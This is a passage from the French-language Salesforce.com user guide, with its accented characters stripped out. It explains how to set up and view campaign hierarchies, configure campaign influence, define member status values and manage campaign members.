Autorisation de lecture sur les campagnes

Pour afficher des hirarchies de campagne :

Autorisation de lecture sur les campagnes

Les pages de dtails de campagne comprennent une liste associe Hirarchie de campagnes, qui affiche une campagne parent
et toutes les campagnes situes directement au-dessous de la campagne parent dans la hirarchie de campagnes. Vous pouvez
crer une hirarchie de campagnes en associant des campagnes les unes aux autres en utilisant le champ de rechercheCampagne
parent sur la page des dtails de la campagne. Cliquez sur n'importe quelle campagne dans la liste associe afin d'ouvrir la
page de dtails de cette campagne.
La liste associe la hirarchie des campagnes offre des champs statistiques pour chaque campagne dans la liste ainsi que la
valeur totale de la campagne parent et toutes les campagnes au-dessous dans la hirarchie des campagnes. Les champs de
statistiques ne s'affichent pas dans la liste associe avant que les hirarchies des campagnes soient actives pour votre organisation.
Pour plus d'informations et pour obtenir une liste des champs, reportez-vous Configuration des hirarchies de campagne
la page 1162.
La liste associe Hirarchie de campagnes affiche, au maximum, deux niveaux de hirarchie : la campagne parent et ses
campagnes enfant. Si une campagne enfant a des enfants, ces enfants n'apparaissent pas dans la liste associe mais leurs donnes
sont incluses dans les valeurs des champs statistiques de hirarchie de campagnes. Les champs statistiques de hirarchie de
campagnes fournissent des donnes totalises, que vous possdiez ou non des droits de partage pour afficher chacune des
campagnes de la hirarchie. Toutefois, si vous n'avez pas accs une campagne apparaissant dans la liste associe, vous ne
pouvez pas afficher sa page de dtails partir du lien de la liste associe. Pour afficher tous les niveaux d'une hirarchie de
campagnes, cliquez sur le lien Afficher la hirarchie ct de Nom de la campagne sur la page des dtails de la campagne.
Pour plus d'informations, reportez-vous Affichage des hirarchies de campagne la page 1157.

Voir aussi :
Affichage et modification de campagnes
Champs de campagne

Campagnes

Guide de l'utilisateur | Affichage et modification de campagnes | 1159

Affichage et modification de campagnes

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition
Disponible moyennant un cot supplmentaire dans : Professional Edition

Autorisations utilisateur requises

Pour afficher des listes de campagnes :
Pour modifier des campagnes :

Autorisation de lecture sur les campagnes

Autorisation de modification sur les campagnes
AND
Option Utilisateur Marketing active dans vos
informations d'utilisateur

Affichage des campagnes

Aprs avoir localis une campagne sur la page d'accueil ou dans les pages de liste des campagnes, cliquez sur le nom de
la campagne pour afficher des informations dtailles. Vous pouvez galement slectionner un nom de campagne partir
de la liste Historique de la campagne d'une piste, d'un contact ou d'un compte personnel associ.
Conseil: Si votre organisation a activ les dtails de placement, survolez un champ de recherche dans la page
de dtails pour afficher les principales informations relatives un enregistrement avant de cliquer sur la page de
dtails correspondante.
Modification des campagnes
Pour mettre jour une campagne, cliquez sur Modifier, puis modifiez les champs que vous souhaitez mettre jour.
Lorsque vous avez termin, cliquez sur Enregistrer. Vous pouvez galement cliquer sur Enregistrer et Nouveau pour
enregistrer la campagne en cours et en crer une autre.
Remarque: Si votre organisation a activ la modification en ligne, vous pouvez modifier les champs directement
dans la page de dtails.

Cration de hirarchies de campagnes

Lors de la cration ou modification d'une campagne, vous pouvez utiliser le champ de recherche Campagne parente
pour attribuer un parent votre campagne. Dans la bote de dialogue de recherche, vous pouvez chercher une campagne
existante ou crer une campagne parent. Pour plus d'informations sur la configuration des hirarchies de campagnes dans
votre organisation, reportez-vous Configuration des hirarchies de campagnes la page 1162.
Marquage des campagnes
Si les balises ont t actives, cliquez sur Ajouter des balises ou sur Modifier les balises dans la zone Balises directement
sous la barre de titre colore pour marquer l'enregistrement actuel. Si l'enregistrement a dj t balis, cliquez sur un
noms de balise pour afficher une liste de tous les enregistrements contenant cette balise.

Campagnes

Guide de l'utilisateur | Affichage et modification de campagnes | 1160

Calcul des statistiques de campagne

Les dtails de campagne comprennent des champs de statistiques automatiquement jour qui indiquent les valeurs de
tous les enregistrements associs, que vous disposiez ou non d'un accs en lecture ces enregistrements. Si les hirarchies
de campagnes sont actives, la liste associe Hirarchie de campagnes contient des statistiques synthtises pour une
campagne parent et toutes les campagnes situes en dessous dans la hirarchie.
Liaison de contacts, de pistes ou d'un comptes personnel des campagnes.
Slectionnez l'une des options suivantes dans la liste droulante Grer les membres de la page des dtails de campagne :
Ajouter des membres - Rechercher pour ajouter des membres de campagne partir d'une recherche.
Ajouter des membres - Importer un fichier pour ajouter des membres de campagne en important des pistes partir
d'un fichier texte dlimit par des virgules (.csv).
Modifier des membres - Rechercher pour afficher, mettre jour ou supprimer des membres de campagne existants.
Mettre jour et ajouter des membres - Importer un fichier pour modifier le statut de membres de campagne l'aide
d'un fichier d'importation.

Configuration avance
Cliquez sur Configuration avance pour personnaliser les valeurs Statut du membre d'une campagne. Reportez-vous
Personnalisation de la configuration des campagnes la page 1161.
Listes associes d'une campagne
La partie infrieure de l'cran affiche des informations sur la campagne, notamment les activits, les pices jointes, les
membres de campagne, les hirarchies de campagnes et les opportunits rsultant de la campagne. Les listes associes
qui s'affichent dpendent de vos paramtres de personnalisation et de ceux dfinis par votre administrateur pour la
prsentation des pages ou par vos autorisations d'affichage des donnes connexes. Vous pouvez cliquer sur des lments
individuels pour afficher des dtails supplmentaires. Cliquez sur plus au bas de la page ou sur Afficher plus d'informations
sous une liste associe pour afficher d'autres lments.
Impression de campagnes
Pour afficher une vue imprimable de toutes les informations d'une campagne, cliquez sur Vue imprimable sur la page
de dtails de la campagne. Utilisez la fonction d'impression de votre navigateur pour imprimer l'affichage.
Partage
Pour partager une campagne avec d'autres utilisateurs, groupes ou rles, cliquez sur Partage. Reportez-vous Partage
de campagnes la page 1197.
Pour revenir la dernire page de liste affiche, cliquez sur Retour la liste en haut de la page de dtails de la campagne. Si
votre organisation a activ l'option de rduction des sections de page, utilisez les icnes reprsentant des flches prs des en-ttes
de section pour dvelopper ou rduire chaque section de la page des dtails.

Voir aussi :
FAQ sur les campagnes : Qui a accs aux campagnes ?
Champs de campagne
Modification du champ de type d'enregistrement
Qu'est-ce qu'un compte personnel ?

Campagnes

Guide de l'utilisateur | Personnalisation de la configuration des campagnes | 1161

Personnalisation de la configuration des campagnes

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition
Disponible moyennant un cot supplmentaire dans : Professional Edition

Autorisations utilisateur requises

Pour afficher des campagnes :
Pour modifier la valeur de statut des membres :

Autorisation de lecture sur les campagnes

Autorisation de modification sur les campagnes
AND
Option Utilisateur Marketing active dans vos
informations d'utilisateur

Pour chaque campagne, les utilisateurs marketing doivent dfinir les valeurs Statut du membre de la campagne. Elles
correspondent aux statuts qu'une piste, un contact ou un compte personnel peut avoir pour une campagne. Par exemple, vous
pourriez dfinir les valeurs Prvue, Invitation envoye, RSVP et Suivie pour une confrence. Pour copier les valeurs Statut
du membre d'une campagne existante, commencez par .
Consiels sur la personnalisation de la configuration d'une campagne

Tout utilisateur peut afficher la configuration avance d'une campagne. Les utilisateurs peuvent modifer la configuration
avance si :
-

la case utilisateur marketing est active pour leurs informations utilisateur ;

ils disposent de l'autorisation Modifier sur les campagnes ;
ils disposent au moins d'un accs en partage en lecture/criture sur l'enregistrement de la campagne.

Si vous remplacez les valeurs de statut de membre, tous les enregistrements de campagne sont mis jour, quel que soit
votre accs en partage aux contacts ou pistes associs.
Les modifications apporte la case Rpondu ne mettent pas jour la valeur Rpondu pour les membres de campagne
avec ce statut. Par exemple, la slection de Rpondu pour un statut de membre appel Particip ne change pas la valeur
Rpondu pour les membres de campagne dont le statut est Particip . Pour mettre jour la valeur Rpondu pour
des membres de campagne :
1. Cliquez sur Grer les membres, puis slectionnez Modifier les membres - Rechercher dans la liste droulante de la
page de dtails d'une campagne.
2. Recherchez les membres de campagne dont vous avez modifi le statut de membre.
3. Slectionnez les membres de campagne que vous souhaitez mettre jour.
4. Slectionnez un statut de membre identique dans Mettre jour le statut.

Dfinition des valeurs de statut du membre

1. Cliquez sur Configuration avance dans la page de dtails de la campagne.
2. Cliquez sur Modifier.
3. Mettez jour les entres existantes ou ajoutez de nouvelles valeurs.

Campagnes

Guide de l'utilisateur | Configuration des hirarchies de campagnes | 1162

4. Si ncessaire, cliquez sur Ajouter pour ajouter des entres supplmentaires. Vous pouvez ajouter jusqu' 50 entres.
5. Slectionnez une entre en tant que valeur par dfaut.
6. Slectionnez les valeurs qui correspondront au statut Rpondu. Les membres prsentant des valeurs Rpondu seront
comptabiliss dans le champ Nombre total de rponses de la campagne.
Dfinition des valeurs de statut du membre
Vous pouvez remplacer globalement les valeurs Statut du membre de chaque membre d'une campagne. Par exemple, vous
pouvez considrer que la valeur Suivi serait plus approprie que la valeur Apparu.
1.
2.
3.
4.

Cliquez sur Configuration avance dans la page de dtails de la campagne.

Cliquez sur Remplacer dans la liste associe Valeurs du statut du membre.
Saisissez la valeur que vous souhaitez modifier, puis slectionnez une nouvelle valeur.
Cliquez sur Enregistrer.

Voir aussi :
Qu'est-ce qu'un compte personnel ?

Configuration des hirarchies de campagnes

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition
Disponible moyennant un cot supplmentaire dans : Professional Edition

Autorisations utilisateur requises

Pour crer une hirarchie de campagnes :

Autorisation de cration sur les campagnes

AND
Option Utilisateur Marketing active dans vos
informations d'utilisateur

Pour configurer des hirarchies de campagnes :

Autorisation de personnalisation de l'application

Les hirarchies de campagnes constituent un puissant outil de catgorisation qui vous permet d'analyser l'tat de vos campagnes
associes et de crer les rapports correspondants. En associant des campagnes les unes aux autres l'aide d'une relation de
recherche, vous pouvez regrouper des campagnes au sein d'un programme ou d'une initiative marketing spcifique. Une
hirarchie peut contenir, au maximum, cinq niveaux. Chaque campagne ne peut disposer que d'une campagne parent, mais
d'un nombre illimit de campagnes de mme niveau (enfants). Par dfaut, la liste associe Hirarchie de campagnes apparat
sur la page de dtails de la campagne. Des enregistrements commencent y apparatre partir du moment o les hirarchies
de campagnes sont configures pour votre entreprise.
Pour configurer des hirarchies de campagnes, ajoutez le champ Campagne parent votre prsentation de page de campagne
et activez les champs statistiques des hirarchies de campagnes.

Campagnes

Guide de l'utilisateur | Configuration des hirarchies de campagnes | 1163

Remarque: En fonction de votre profil utilisateur, les champs statistiques de hirarchie de campagnes peuvent dj
tre visibles.
Les champs de hirarchie de campagnes incluent :

Nombre total envoy dans la hirarchie

Chiffre d'affaire total prvu dans la hirarchie
Cot total budgtis dans la hirarchie
Cot total rel dans la hirarchie
Valeur totale des Pistes dans la hirarchie
Valeur totale des Pistes converties dans la hirarchie
Valeur totale des contacts dans la hirarchie
Valeur totale des opportunits dans la hirarchie
Valeur totale des opportunits gagnes dans la hirarchie
Valeur totale des opportunits gagnes dans la hirarchie
Valeur totale des opportunits dans la hirarchie
Nombre total de rponses dans la hirarchie

Reportez-vous Champs de campagne la page 1189 pour une description de chacun des champs.
Le processus consistant rendre les champs visibles dpend de votre dition Salesforce.com. Pour les ditions Enterprise,
Unlimited et Developer, utilisez la scurit au niveau des champs. mesure que vous rendez chaque champ visible,
Salesforce.com affiche sa valeur dans la section Total de la hirarchie de la liste associe Hirarchie de campagnes. Si vous
utilisez Professional Edition, ajoutez les champs statistiques de hirarchie de campagnes la prsentation de page de la
campagne. Les champs apparatront dans la prsentation de page et dans la section Total de la hirarchie de la liste associe
Hirarchie de campagnes.
Remarque: Les champs de hirarchie de campagnes fournissent des donnes totalises pour une campagne parent et
toutes les campagnes situes au-dessous dans la hirarchie, que l'utilisateur dispose ou non de droits de partage sur une
campagne spcifique au sein de cette hirarchie. Par consquent, tenez compte des paramtres de partage de campagne
de votre entreprise lorsque vous activez les champs des hirarchies de campagnes. Si vous ne voulez pas que les utilisateurs
voient les donnes synthtises de la hirarchie, notamment des campagnes auxquelles ils n'ont pas accs, vous pouvez
dcider de supprimer de la liste associe Hirarchie de campagnes tout ou partie des champs de hirarchie de campagnes.
Si vous n'ajoutez pas les champs de hirarchie de campagnes la liste associe ou la prsentation de page, vous pouvez
toujours y accder sur les rapports.
Une fois les hirarchies de campagnes configures, les utilisateurs peuvent crer et attribuer des campagnes parent l'aide de
l'option Campagne parent, puis visualiser les dtails concernant la hirarchie sur la page Hirarchie de campagnes ou la
liste associe Hirarchie de campagnes.
Remarque: Toutes les campagnes d'une hirarchie doivent utiliser la mme devise.

La page Hirarchie de campagnes, accessible partir du lien [Afficher la hirarchie] situ ct du champ Nom de la campagne
sur l'enregistrement de campagne, affiche tous les niveaux d'une hirarchie et les campagnes comprises dans chaque niveau.
Pour plus d'informations, reportez-vous Affichage des hirarchies de campagne la page 1157. La liste associe Hirarchie

Campagnes

Guide de l'utilisateur | Quest-ce que linfluence de campagne ? | 1164

de campagnes fournit des donnes synthtises pour la campagne parent et toutes les campagnes situes au-dessous dans la
hirarchie. Pour plus d'informations, reportez-vous Affichage des statistiques de hirarchie de campagnes la page 1158.

Voir aussi :
Personnalisation de la configuration des campagnes
Champs de campagne

Quest-ce que linfluence de campagne ?

Disponible dans : Enterprise Edition, Unlimited Edition et Developer Edition
Disponible moyennant un cot supplmentaire dans : Professional Edition

Autorisations utilisateur requises

Pour dfinir une influence de campagne :

Autorisation de personnalisation d'application

Pour afficher la liste associe Influence de campagne :

Autorisation de lecture sur les campagnes

AND
Autorisation de lecture sur les opportunits

Pour ajouter manuellement des campagnes influentes :

Autorisation de lecture sur les campagnes

AND
Modifier dans les opportunits

Du fait que les opportunits sont gnralement influences par plusieurs campagnes, l'influence de campagne permet d'associer
manuellement ou automatiquement plusieurs campagnes influentes une opportunit. Vous pouvez afficher les campagnes
influentes depuis la liste associe Influence de campagne dans la page des informations de l'opportunit. Le champ Source
de la campagne principale d'une page d'informations d'une opportunit permet de dfinir la campagne la plus influente
pour cette opportunit.
Si vous avez activ l'association automatique, elle ajoutera des campagnes influentes aux opportunits lorsque la campagne sera
associe un contact lui-mme affect d'un rle dans l'opportunit avant la date de clture de l'opportunit. Vous pouvez
spcifier des critres d'association automatique supplmentaires, notamment une priode de campagne qui limite dans le temps
son impact sur une nouvelle opportunit aprs la premire date d'association de la campagne et avant la date de cration de
l'opportunit. Vous pouvez galement ajouter des campagnes influentes manuellement aux opportunits en cliquant sur le
bouton Ajouter une campagne dans la liste associe Influence de campagne.
Utilisez le rapport de campagne avec des opportunits influences rapport sur les campagnes pour visualiser les opportunits
influences par plusieurs campagnes.
Avant d'utiliser l'influence de campagne, vous devez procder comme suit :
1. Ajoutez la liste associe Influence de campagne la prsentation de page des opportunits en cliquant sur Configuration
Personnalisation Opportunits Prsentations de page.

Campagnes

Guide de l'utilisateur | Quest-ce que linfluence de campagne ? | 1165

Remarque: La liste associe Influence de campagne est dj ajoute la prsentation de page des opportunits
des clients qui se sont abonns une nouvelle organisationSalesforce.com aprs le lancement de la version Winter
'09 publie en octobre 2008.
2. Dfinir une influence de campagne la page 1165.

Voir aussi :
Champs de campagne
Rapports de campagne
Gestion des prsentations de page

Configuration de l'influence de campagne

Disponible dans : Enterprise Edition, Unlimited Edition et Developer Edition
Disponible moyennant un cot supplmentaire dans : Professional Edition

Autorisations utilisateur requises

Pour configurer l'influence de campagne :

Autorisation de personnalisation d'application

Configuration de l'influence de campagne

Vous pouvez configurer des campagnes influentes pour les ajouter automatiquement aux opportunits. Si vous avez activ
l'association automatique, les campagnes influentes seront ajoutes aux opportunits lorsque la campagne sera associe un
contact lui-mme affect d'un rle dans une opportunit avant la date de clture de l'opportunit. Par exemple, si vous utilisez
une campagne par e-mail avec un membre qui a un rle de contact dans une opportunit, la campagne par e-mail sera ajoute
la liste associe Influence de campagne de l'opportunit.
Vous pouvez dfinir une priode d'influence de campagne qui spcifie le nombre maximum de jours entre la premire date
d'association de campagne et la date de cration de l'opportunit, au cours de laquelle une campagne est considre influente.
Par exemple, si vous spcifiez une priode d'influence de campagne de 15 jours et que l'un de vos contacts devient membre
d'une campagne le 1er juin, la campagne est considre influencer une opportunit cre et associe au contact jusqu'au 15
juin. Utilisez les rgles d'association pour dfinir des critres supplmentaires que doivent satisfaire ces campagnes pour tre
associes automatiquement une opportunit.
Lorsque l'association automatique est dsactive, les utilisateurs doivent ajouter manuellement des campagnes influentes aux
opportunits en utilisant la liste associe Influence de campagne.
Pour dfinir une association automatique d'influence de campagne :
1. Cliquez sur Configuration Personnalisation Campagnes Influence de campagne.
2. Slectionnez Activ.
3. Dans le champ Priode de l'influence de campagne, dfinissez ventuellement le nombre maximum de jours
entre la premire date d'association de campagne et la date de cration de l'opportunit.
Remarque: Les campagnes associes un contact avant cette priode ne seront pas considres influentes. La
priode maximale d'influence de campagne est 9 999 jours. Si vous ne voulez pas dfinir une priode d'influence
de campagne, n'entrez rien dans le champ Priode de l'influence de campagne.

Campagnes

Guide de l'utilisateur | Quest-ce que linfluence de campagne ? | 1166

4. Vous pouvez ventuellement dfinir des critres de filtrage supplmentaires qui doivent tre satisfaits pour qu'une campagne
soit automatiquement associe.
5. Cliquez sur Enregistrer.
Les campagnes seront ajoutes automatiquement la liste associe Influence de campagne des opportuntis lorsqu'elles satisfont
les critres que vous avez dfinis.
Pour dsactiver l'association automatique d'influence de campagne :
1. Cliquez sur Configuration Personnalisation Campagnes Influence de campagne.
2. Slectionnez Dsactiv.
3. Cliquez sur Enregistrer.

Voir aussi :
Quest-ce que linfluence de campagne ?
Rapports de campagne
Champs de campagne

Utilisation de la liste associe Influence de campagne

Disponible dans : Enterprise Edition, Unlimited Edition et Developer Edition
Disponible moyennant un cot supplmentaire dans : Professional Edition

Autorisations utilisateur requises

Pour afficher la liste associe Influence de campagne :

Autorisation de lecture sur les campagnes

AND
Autorisation de lecture sur les opportunits

Pour ajouter manuellement des campagnes influentes :

Autorisation de lecture sur les campagnes

AND
Autorisation de lecture et de modification des opportunits

Ajout, modification et suppression de campagnes influentes

La liste associe Influence de campagne d'une page d'informations d'une opportunit contient des informations sur les campagnes
qui ont influenc une opportunit. Depuis la liste Influence de campagne, vous pouvez ajouter, modifier et supprimer des
campagnes influentes.
Tenez compte des informations suivantes lors de l'ajout, de la modification ou de la suppression des campagnes d'influence :

Bien que plusieurs campagnes puissent tre influentes, vous ne pouvez dsigner qu'une seule campagne comme source de
campagne principale dans l'opportunit.
La campagne que vous dsignez manuellement comme source de campagne principale est toujours affiche dans la liste
associe Influence de campagne.

Campagnes

Guide de l'utilisateur | Gestion des membres d'une campagne | 1167

Les champs d'opportunits des statistiques de campagne d'une page d'informations de campagne ne sont renseigns que
pour la campagne dfinie comme source de campagne principale. Si, par exemple, vous utilisez une campagne par e-mail
et une campagne de tlmarketing qui influencent toutes les deux une mme opportunit et que vous avez cr une campagne
par e-mail comme source de campagne principale, les champs des opportunits des statistiques de campagne ne sont
renseigns que pour la campagne par e-mail.
Lorsque vous cochez la case Source de la campagne principale, le champ Source de la campagne
principale de la page des informations d'opportunit est mis jour avec le nom de la campagne principale. Il est possible
que cette modification dclenche les rgles de workflow et Apex des opportunits.

Pour ajouter des campagnes influentes depuis la liste associe Influence de campagne :
1. Affichez la page d'informations d'une opportunit.
2. Cliquez sur Ajouter une campagne dans la liste associe Influence de campagne.
3. Entrez un nom de campagne dans la champ Nom de la campagne ou cliquez sur l'icne de
pour rechercher une
campagne.
4. Vous pouvez ventuellement cocher la case Source de la campagne principale pour dfinir la campagne comme
campagne principale.
5. Cliquez sur Enregistrer.
Vous pouvez galement configurer des critres de filtrage qui, s'ils sont satisfaits, ajoutent automatiquement les campagne
influentes aux opportunits. Par exemple, vous pouvez configurer un filtre pour ajouter uniquement des campagnes par e-mail
ou de tlmarketing.
Pour modifier des campagnes influentes :
1.
2.
3.
4.

Affichez la page d'informations d'une opportunit.

Cliquez sur Modifier en regard de la campagne modifier dans la liste associe Influence de campagne.
Vous pouvez ventiellement cocher ou dslectionner la case Source de la campagne principale.
Cliquez sur Enregistrer.

Pour supprimer des campagnes influentes :

1. Affichez la page d'informations d'une opportunit.
2. Cliquez sur Suppr en regard de la campagne supprimer dans la liste associe Influence de campagne.
3. Cliquez sur OK.

Voir aussi :
Quest-ce que linfluence de campagne ?
Configuration de l'influence de campagne
Rapports de campagne

Gestion des membres d'une campagne

Disponible dans : Enterprise Edition, Unlimited Edition et Developer Edition
Disponible moyennant un cot supplmentaire dans : Professional Edition

Les membres de campagne sont crs partir d'enregistrements de piste, de contact ou de comptes personnels. Salesforce.com
offre plusieurs mthodes pour grer vos membres de campagne. Vous pouvez ajouter ou mettre jour 50 000 membres de

Campagnes

Guide de l'utilisateur | Gestion des membres d'une campagne | 1168

campagne la fois via des rapports sur les pistes, les contacts et les comptes personnels ; rechercher et ajouter ou modifier
plusieurs pistes et contacts dans la page Membres de campagne ; ajouter un nombre illimit de pistes et de contacts l'aide
d'un fichier d'importation CSV ; ou ajouter individuellement des membres une campagne partir des pages de dtails de
contacts ou de pistes.
Ajout de membres d'une campagne
Vous pouvez ajouter de nouveaux membres une campagne :

Individuellement partir de la liste associe Historique de campagne de la page de dtails d'un contact, d'une piste ou d'un
compte personnel
En recherchant des contacts et des pistes partir de la page Grer les membres
partir d'une campagne, d'un contact, d'un compte personnel ou d'un rapport sur les pistes
partir d'une vue de liste de contacts ou de pistes existants
partir d'un fichier d'importation CSV de nouvelles pistes
partir d'un fichier d'importation CSV de membres existants
Remarque: Si une campagne possde un type de membre de campagne, vous devez avoir accs ce type de membre
de campagne pour pouvoir lui ajouter des membres. Sinon, vous pouvez uniquement mettre jour les membres de
campagne existants.

Modification de membres de campagne

Vous pouvez modifier les dtails de membres de campagne existants :

partir de la liste associe Historique de campagne de la page de dtails d'un contact, d'une piste ou d'un compte personnel
partir de la liste associe Membres de campagne de la page de dtails d'une campagne
partir de la page Grer les membres

Mise jour du statut des membres de campagne existants

Vous pouvez mettre jour le statut des membres de campagne existants :

partir de la liste associe Historique de campagne de la page de dtails d'un contact, d'une piste ou d'un compte personnel
partir de la page Grer les membres
partir d'une campagne, d'un contact, d'un compte personnel ou d'un rapport sur les pistes
partir d'un fichier d'importation CSV de membres existants

Suppression des membres d'une campagne

Vous pouvez supprimer des membres d'une campagne :

partir de la liste associe Historique de campagne de la page de dtails d'un contact, d'une piste ou d'un compte personnel
partir de la liste associe Membres de campagne de la page de dtails d'une campagne
partir de la page Grer les membres

Exemples

Crez des campagnes de suivi : recherchez une vue de liste personnalise de contacts ou de pistes limite une campagne
antrieure et un statut de membre particulier, par exemple Suivi. Ajoutez ensuite une campagne de suivi des lments
de la liste gnre. Reportez-vous Ajout de contacts ou de pistes d'une vue de liste une campagne la page 1177.

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Guide de l'utilisateur | Gestion des membres d'une campagne | 1169

Tirez parti de la fonction de cration de rapports : personnalisez un rapport standard ou crez un rapport personnalis
destin renvoyer la liste des contacts, des comptes personnels ou des pistes cibler. Un simple clic de souris suffit pour
ajouter la liste entire une campagne. Reportez-vous Ajout de membres de campagne de rapports la page 1175.

Voir aussi :
FAQ sur les campagnes : Comment puis-je ajouter des membres mes campagnes ?
Qu'est-ce qu'un compte personnel ?

Modification de plusieurs membres de campagne

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition
Disponible moyennant un cot supplmentaire dans : Professional Edition

Autorisations utilisateur requises

Pour afficher l'onglet Membres existants :

Modification sur les campagnes

ET
Lecture sur les pistes ou les contacts
ET
Option Utilisateur Marketing active dans vos
informations d'utilisateur

Pour mettre jour et supprimer des membres de campagne :

Modifier sur les campagnes

AND
Modifier sur les pistes et les contacts
AND
Option Utilisateur Marketing active dans vos
informations d'utilisateur

Modification de membres d'une campagne partir de la page Grer les membres

Remarque: Avant d'ouvrir la page Grer les membres, assurez-vous d'utiliser un navigateur pris en charge.

Pour mettre jour le statut de membres de campagne, modifier les dtails de membres de campagne ou supprimer des membres
de campagne dans la page Grer les membres :
1. Cliquez sur Grer les membres et slectionnez Modifier les membres - Rechercher dans la liste droulante de la page de
dtails d'une campagne ou dans la liste associe Membres de campagne de la page de dtails d'une campagne.

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Guide de l'utilisateur | Gestion des membres d'une campagne | 1170

2. Dans le sous-onglet Membres existants, vous pouvez entrer des critres de filtre pour rechercher des membres existants,
puis cliquer sur OK.
Remarque: Pour les campagnes dont les membres ont t crs partir de pistes ou de contacts, vous devez disposer
de l'autorisation Lecture sur les pistes et les contacts pour afficher les membres. Si vous ne disposez que de
l'autorisation Lecture sur les pistes, vous pouvez afficher uniquement les membres crs partir de pistes ; si
vous ne disposez que de l'autorisation Lecture sur les contacts, vous pouvez afficher uniquement les membres
crs partir de contacts.
3. Cochez les cases en regard des enregistrements que vous souhaitez modifier. Pour slectionner tous les enregistrements de
la page actuelle, cochez la case situe dans la ligne d'en-tte.
4. Vous pouvez galement excuter les actions suivantes :

Pour modifier le statut du membre de campagne, slectionnez un statut dans la liste droulante Mettre jour le statut.
Pour supprimer un membre de la campagne, cliquez sur Supprimer.
Pour modifier les dtails d'un membre de campagne, cliquez sur Modifier. Les champs drivs de l'enregistrement de
la piste ou du contact peuvent tre modifis uniquement dans la page de dtails de la piste ou du contact. Le champ
Type de membre de campagne peut tre modifi uniquement dans la page de dtails de la campagne.
Pour afficher, modifier, supprimer ou cloner un membre de campagne, cliquez sur son nom dans la colonne Nom.

Tenez compte des conseils suivants en utilisant la liste de membres :

Pour masquer les filtres de recherche, cliquez sur Masquer la recherche dans le coin gauche au-dessus des options de
recherche du sous-onglet Ajouter des membres ou cliquez sur Masquer les filtres dans le coin gauche au-dessus des filtres
du sous-onglet Membres existants.
Pour effacer les filtres de recherche, cliquez sur Effacer les filtres sous les filtres.
Naviguez dans les rsultats de la liste en cliquant sur l'icne de la premire page (<<), sur Prcdent, sur Suivant ou sur
l'icne de la dernire page (>>) en bas de la liste.
Passez directement une page spcifique de rsultats en saisissant son numro dans la zone de texte, dans le coin infrieur
droit, puis en appuyant sur Entre.
Modifiez le nombre d'enregistrements affichs par page en cliquant sur l'indicateur de dcompte d'enregistrements dans
le coin infrieur gauche de la liste et en slectionnant un nombre. Vous pouvez consulter 10, 25, 50, 100 ou 200
enregistrements la fois. Si vous modifiez ce paramtre, vous revenez la premire page des rsultats de la liste. La
modification de vos prfrences concernant le nombre d'enregistrements affichs par page s'applique toutes les listes de
l'ensemble des sous-applications Salesforce.com, pas uniquement la liste actuellement affiche. De plus, si vous modifiez
vos prfrences avec la valeur 200, un message vous avertit d'une dgradation probable des performances.
Modifiez la largeur d'une colonne en faisant glisser la partie droite de l'en-tte de colonne avec la souris. Les modifications
apportes aux largeurs de colonne s'appliquent uniquement cette liste et ne sont pas conserves si vous modifiez les
membres de la liste ou si vous passez une autre page.
Cliquez sur le lien Modifier les colonnes dans le coin suprieur droit de la liste pour ajouter ou supprimer des colonnes.
Les ajouts ou suppressions de colonnes s'appliquent uniquement cette liste et ne sont pas conservs si vous modifiez les
membres de la liste ou si vous passez une autre page.

La toute dernire page Grer les membres n'est pas disponible en mode d'accessibilit. En mode d'accessibilit, vous pouvez
continuer d'ajouter des contacts ou des pistes une campagne, de mettre jour des membres de campagne et de supprimer
des membres de campagne l'aide des assistants de membres de campagne.

Voir aussi :
Ajout de plusieurs membres d'une campagne
Utilisation de la liste associe membres de campagne
Saisie des critres de filtre

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Guide de l'utilisateur | Gestion des membres d'une campagne | 1171

Utilisation de la liste associe membres de campagne

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition
Disponible moyennant un cot supplmentaire dans : Professional Edition

Autorisations utilisateur requises

Pour afficher des campagnes :

Lire sur les campagnes

Pour afficher la liste associe Membres de campagne :

Lire sur les campagnes

AND
Lire sur les pistes
AND
Lire sur les contacts

Pour modifier la liste associe Membres de campagne :

Autorisation de modification sur les campagnes

Utilisation de la liste associe Membres de campagne

La liste associe Membres de campagne permet d'afficher, d'ajouter, de modifier ou de supprimer des membres de campagne
directement depuis une page de dtails de campagne.
La liste associe Membres de campagne affiche par dfaut cinq membres de campagnes. Pour afficher davantage de membres,
cliquez sur le lien En afficher plus.
Remarque: Pour les campagnes dont les membres ont t crs partir de pistes ou de contacts, vous devez disposer
de l'autorisation Lecture sur les pistes et les contacts pour afficher les membres. Si vous ne disposez que de
l'autorisation Lecture sur les pistes, vous pouvez afficher uniquement les membres crs partir de pistes ; si vous
ne disposez que de l'autorisation Lecture sur les contacts, vous pouvez afficher uniquement les membres crs
partir de contacts.
Le bouton de la liste droulante Grer les membres dans la liste associe Membres de campagne et dans la section dtails de
campagne permet de rechercher des pistes et des contacts, puis de les ajouter en tant que membres de campagne, de mettre
jour ou de supprimer des membres existants, puis d'ajouter et de mettre jour des membres de campagne l'aide d'un fichier
d'importation.
Dans de la liste associe Membres de campagne :

Cliquez sur le nom du membre de campagne dans la colonne Nom complet, Prnom ou Nom pour afficher les dtails du
membre de la campagne.
Cliquez sur Supprimer pour retirer le membre de la campagne.
Cliquez sur Modifier pour diter les dtails du membre de campagne.
Slectionnez l'une des options suivantes dans la liste droulante du bouton Grer les membres :
-

Ajouter des membres - Rechercher pour ajouter des membres de campagne partir d'une recherche.
Ajouter des membres - Importer un fichier pour ajouter des membres de campagne en important des pistes partir
d'un fichier texte dlimit par des virgules (.csv).
Modifier des membres - Rechercher pour afficher, mettre jour ou supprimer des membres de campagne existants.

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Guide de l'utilisateur | Gestion des membres d'une campagne | 1172

Mettre jour et ajouter des membres - Importer un fichier pour modifier le statut de membres de campagne l'aide
d'un fichier d'importation.

Voir aussi :
Ajout de plusieurs membres d'une campagne
Modification de plusieurs membres de campagne
Personnalisation des prsentations de page

Ajout de plusieurs membres d'une campagne

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition
Disponible moyennant un cot supplmentaire dans : Professional Edition

Autorisations utilisateur requises

Pour ajouter des membres d'une campagne :

Modifier sur les campagnes

AND
Modifier dans les pistes et les contacts
AND
Option Utilisateur Marketing active dans vos
informations d'utilisateur

Pour supprimer des membres de campagne :

Lire dans les campagnes

ET
Modifier dans les pistes et les contacts

Ajout de membres d'une campagne partir de la page Grer les membres

Vous pouvez ajouter des pistes et des contacts en tant que membres d'une campagne depuis la page Grer les membres. Pour
